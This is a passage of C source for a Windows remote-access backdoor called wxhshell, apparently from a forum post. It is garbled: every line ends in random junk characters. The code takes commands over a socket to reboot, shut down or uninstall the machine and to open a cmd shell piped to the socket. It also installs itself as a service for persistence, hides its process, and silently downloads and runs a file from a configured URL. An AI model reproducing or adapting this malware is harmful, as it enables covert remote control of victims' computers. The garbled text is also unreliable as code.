  // 帮助 !\D[lh}rL  
  case '?': { ;oL`fQyr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  0Bbno9Yp  
    break; F/1B>2$`  
  } YMGzO  
  // 安装 dk}T&qZ~p  
  case 'i': { aH@GhI^@  
    if(Install()) zW[fHa$m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~%)ug3%e  
    else MBlh lMyI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'L$%)`;e  
    break; GZt+(q  
    } \jlem<&  
  // 卸载 E"8cB]`|8  
  case 'r': { H<6TN^  
    if(Uninstall()) )<Cf,R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ean_/E  
    else K7o!,['W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f;";P  
    break; 2|Of$oMc  
    } {{'GR"D  
  // 显示 wxhshell 所在路径 =Yd{PZ*fR  
  case 'p': { Hrz #So\#  
    char svExeFile[MAX_PATH]; RE*;_DF  
    strcpy(svExeFile,"\n\r"); |"7F`M96I  
      strcat(svExeFile,ExeFile); OB-gH3:  
        send(wsh,svExeFile,strlen(svExeFile),0); *>b*I4dz  
    break; zB,Vi-)vH  
    } vE4ce  
  // 重启 8cN[t.S  
  case 'b': { frsqnvm;+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mBb;:-5  
    if(Boot(REBOOT)) Yfro^}f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q:U^):~  
    else { ^P)W/2  
    closesocket(wsh); _T[7N|'O  
    ExitThread(0); a g=,oYn  
    } G.ag$KF  
    break; 0[ (Z48  
    } (7v]bqfw  
  // 关机 AHa%?wb  
  case 'd': { x}acxu 2H7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }ZPO^4H;-  
    if(Boot(SHUTDOWN)) Z %?: CA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >b6!*Lrhs  
    else { T ~=r*4  
    closesocket(wsh); ?_hKhn%K9  
    ExitThread(0); )83UF r4kP  
    } 6 GL.bS  
    break; (f Gmjx  
    } H);O.m  
  // 获取shell EMe3Xb `  
  case 's': { m6'VMW  
    CmdShell(wsh); s"tyCDc.c  
    closesocket(wsh); *OoM[wEY  
    ExitThread(0); \U(;%V  
    break; .O h4b5  
  } fMGL1VN  
  // 退出 /&PRw<}>_o  
  case 'x': { EL--?<g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]f%yeD  
    CloseIt(wsh); M|HW$8V3_2  
    break; (4;m*' X  
    } (Nzup 3j  
  // 离开 b#h}g>l  
  case 'q': { +0{$J\s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rv-`6eyAA  
    closesocket(wsh); wNNInS6  
    WSACleanup(); 0[/GEY@  
    exit(1); R&lJ& SgC  
    break; UG@9X/l}  
        } olHT* mr  
  } 2hD(zUSy  
  } c/K:`XP~  
)qyJw N .D  
  // 提示信息 tWT ,U[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mgO D J  
} P@LFX[HtM  
  } &?(<6v7  
!z EW)  
  return; 9FGe (t <  
} >#9 f{  
!]^,!7x,8j  
// shell模块句柄 #pe#(xoI  
int CmdShell(SOCKET sock) RB,`I#z1f  
{ #o>~@.S#:0  
STARTUPINFO si; c8@zpkMj/  
ZeroMemory(&si,sizeof(si)); E:_m6 m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D'F j"&LK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qdss(LZ  
PROCESS_INFORMATION ProcessInfo; O)2==_f\  
char cmdline[]="cmd"; ?2RDd|#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,sa%u Fm  
  return 0; ]U4)2s  
} L6>;"]:f`  
"7G>  
// 自身启动模式 Q sXy(w#F  
int StartFromService(void) 4@qHS0$  
{ *VP-fyJp  
typedef struct sf7~hN*  
{ Fj_6jsDb  
  DWORD ExitStatus; )U2cS\k'7n  
  DWORD PebBaseAddress; Bv=  
  DWORD AffinityMask; Qru iQ/t  
  DWORD BasePriority; %>)HAx `  
  ULONG UniqueProcessId; CXAW>VdK_  
  ULONG InheritedFromUniqueProcessId; uPbGQ:%}  
}   PROCESS_BASIC_INFORMATION; t9QnEP'  
fV "gL(7  
PROCNTQSIP NtQueryInformationProcess; ' F,.y6QU  
 Zk={3Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ekR/X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bXiOf#:''  
k}0Y&cT!rU  
  HANDLE             hProcess; 3QD+&9{D  
  PROCESS_BASIC_INFORMATION pbi; qcmf*Yl:v  
[. rULQl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6d# 7  
  if(NULL == hInst ) return 0; =ws iC'  
Zy J-}[z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _l,_NV&T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dcn/|"jr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @P'("qb~  
-;1nv:7Z3  
  if (!NtQueryInformationProcess) return 0; l KdY!j"  
yPn!1=-(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B$\,l.h E  
  if(!hProcess) return 0; ?z[k.l+6w  
s7789pR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *XCgl*% *  
WDF;`o*3  
  CloseHandle(hProcess); ;ndwVZ~,  
2F z;TNS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MsD@pa  
if(hProcess==NULL) return 0; lTR/o  
tCVaRP8eC+  
HMODULE hMod; 0etJ, _">  
char procName[255]; 3g{T+c*  
unsigned long cbNeeded; ;^"#3_7T]  
SjmWlf,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jYxmU8  
B-.QGf8K.  
  CloseHandle(hProcess); +YX *.dW  
xY=%+o.?*  
if(strstr(procName,"services")) return 1; // 以服务启动 LQo>wl  
L>ruNw'-K  
  return 0; // 注册表启动 _u] S/X-  
} ^&|KuI+ u  
c %f'rj  
// 主模块 v PJ=~*P=  
int StartWxhshell(LPSTR lpCmdLine) 1y{@fg~..  
{ y@'~fI!E4  
  SOCKET wsl; ,,Ia4c  
BOOL val=TRUE; bT8 ?(Iu  
  int port=0; \'>8 (i~  
  struct sockaddr_in door; Rf4}4ixkj  
j@guB:0  
  if(wscfg.ws_autoins) Install(); d1{%z\u a  
ExW3LM9(  
port=atoi(lpCmdLine); Vz\?a8qQ<  
+\ZaVi  
if(port<=0) port=wscfg.ws_port; P.t0o~hoK;  
o-ee3j.  
  WSADATA data; B*-A erdH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aSEzh7 8  
Iq% 0fX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I;5:jT`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C]f`  
  door.sin_family = AF_INET; qrLE1b 1$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {0IC2jE  
  door.sin_port = htons(port); xE"QX N  
FWb`F&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P. >5`^  
closesocket(wsl); M>xjs?{%k  
return 1; < cUaIb;(4  
} g-NfZj?  
= a54  
  if(listen(wsl,2) == INVALID_SOCKET) { `*ml/% \  
closesocket(wsl); hlO,mU  
return 1; U8]BhJr$Q  
} %gbvX^E?  
  Wxhshell(wsl); Od?b(bE.]  
  WSACleanup(); TPi=!*$&  
-udKGrT+  
return 0; Gc0/*8u/  
j-n-2:Q  
} 6<`tb)_2~  
VM"z6@  
// 以NT服务方式启动 ^;DbIo\6H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =JM !`[  
{ (\A~SKEX  
DWORD   status = 0; iqAME%m  
  DWORD   specificError = 0xfffffff; AZ'"Ua  
UPr8Q^wm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g>&b&X&Y_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QP={b+8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '>aj5tZ>R  
  serviceStatus.dwWin32ExitCode     = 0; vq_v;$9}  
  serviceStatus.dwServiceSpecificExitCode = 0;  cq,8^o&  
  serviceStatus.dwCheckPoint       = 0; <ZwmXD.VD  
  serviceStatus.dwWaitHint       = 0; Rct=v DU  
zjlo3=FQX[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =.9uuF:  
  if (hServiceStatusHandle==0) return; `ZLA=oD  
Yd>ej1<  
status = GetLastError(); !Bqmw  
  if (status!=NO_ERROR)  0%OV3`  
{ n| [RXpAp3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lr-:o@q{  
    serviceStatus.dwCheckPoint       = 0; &LM ^,xx}  
    serviceStatus.dwWaitHint       = 0; >}|Vmy[/  
    serviceStatus.dwWin32ExitCode     = status; |h{#r7H0  
    serviceStatus.dwServiceSpecificExitCode = specificError; mq!_/3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +^tw@b  
    return; 'du{ky  
  } zSM;N^X8?  
D8r=V f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B 4my  
  serviceStatus.dwCheckPoint       = 0; $=rLs)  
  serviceStatus.dwWaitHint       = 0; 8Z1pQx-P2C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kulh:d:w  
} HyX:4f|]'  
rZSX fgfr  
// 处理NT服务事件,比如:启动、停止 4Px  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q?7:Xb N  
{ +~]:oj  
switch(fdwControl) iTpU4Qsj  
{ UW@BAj@^@  
case SERVICE_CONTROL_STOP: qTd6UKg  
  serviceStatus.dwWin32ExitCode = 0; ,^d!K(xb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yG%<LP2p@f  
  serviceStatus.dwCheckPoint   = 0; _WeN\F~^  
  serviceStatus.dwWaitHint     = 0; /:o (Ghc?  
  { g#b uy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mok%TK  
  } SeX:A)*ez%  
  return; q(YFt*(;w  
case SERVICE_CONTROL_PAUSE: A=a~ [vre  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -|\SNbPTV  
  break; o;\c$|TNU  
case SERVICE_CONTROL_CONTINUE: 2ij/!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KfkE'_ F  
  break; B6hd*f  
case SERVICE_CONTROL_INTERROGATE: WUesTA>  
  break; RLtIn!2OU  
}; V {H/>>k7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3.vQ~Fvl  
} (}:n#|,{M  
o 2Okc><z  
// 标准应用程序主函数 qZ79IX'y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YLO/J2['  
{ klqN9d9k  
~3F\7%Iqc  
// 获取操作系统版本 8ta`sNy9  
OsIsNt=GetOsVer(); 0*-nVC1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7Rix=*  
SF#Rc>v  
  // 从命令行安装 3Q-[)Z )  
  if(strpbrk(lpCmdLine,"iI")) Install(); :lGH31GG  
2-#:Y  
  // 下载执行文件 <Z6tRf;B  
if(wscfg.ws_downexe) { Pu-/*Fx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Er]lObfQo  
  WinExec(wscfg.ws_filenam,SW_HIDE); +&:?*(?Q  
} v!b 8_0~u6  
:(o6^%x  
if(!OsIsNt) { y!;PBsU%Sx  
// 如果时win9x,隐藏进程并且设置为注册表启动 5f'<0D;K  
HideProc();  #Lq{_Y  
StartWxhshell(lpCmdLine); ^%<t^sE  
} !"e~HZmr  
else OYC\+ =  
  if(StartFromService()) 4EB&Zmg[K  
  // 以服务方式启动 kk*:S*,  
  StartServiceCtrlDispatcher(DispatchTable); >tFv&1iR  
else q%Fc?d9  
  // 普通方式启动 yavoGk  
  StartWxhshell(lpCmdLine); 5?()o}VjAO  
3{;W!/&>  
return 0; Es~|:$(N]|  
}
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只看该作者 1 发表于: 2006-10-10
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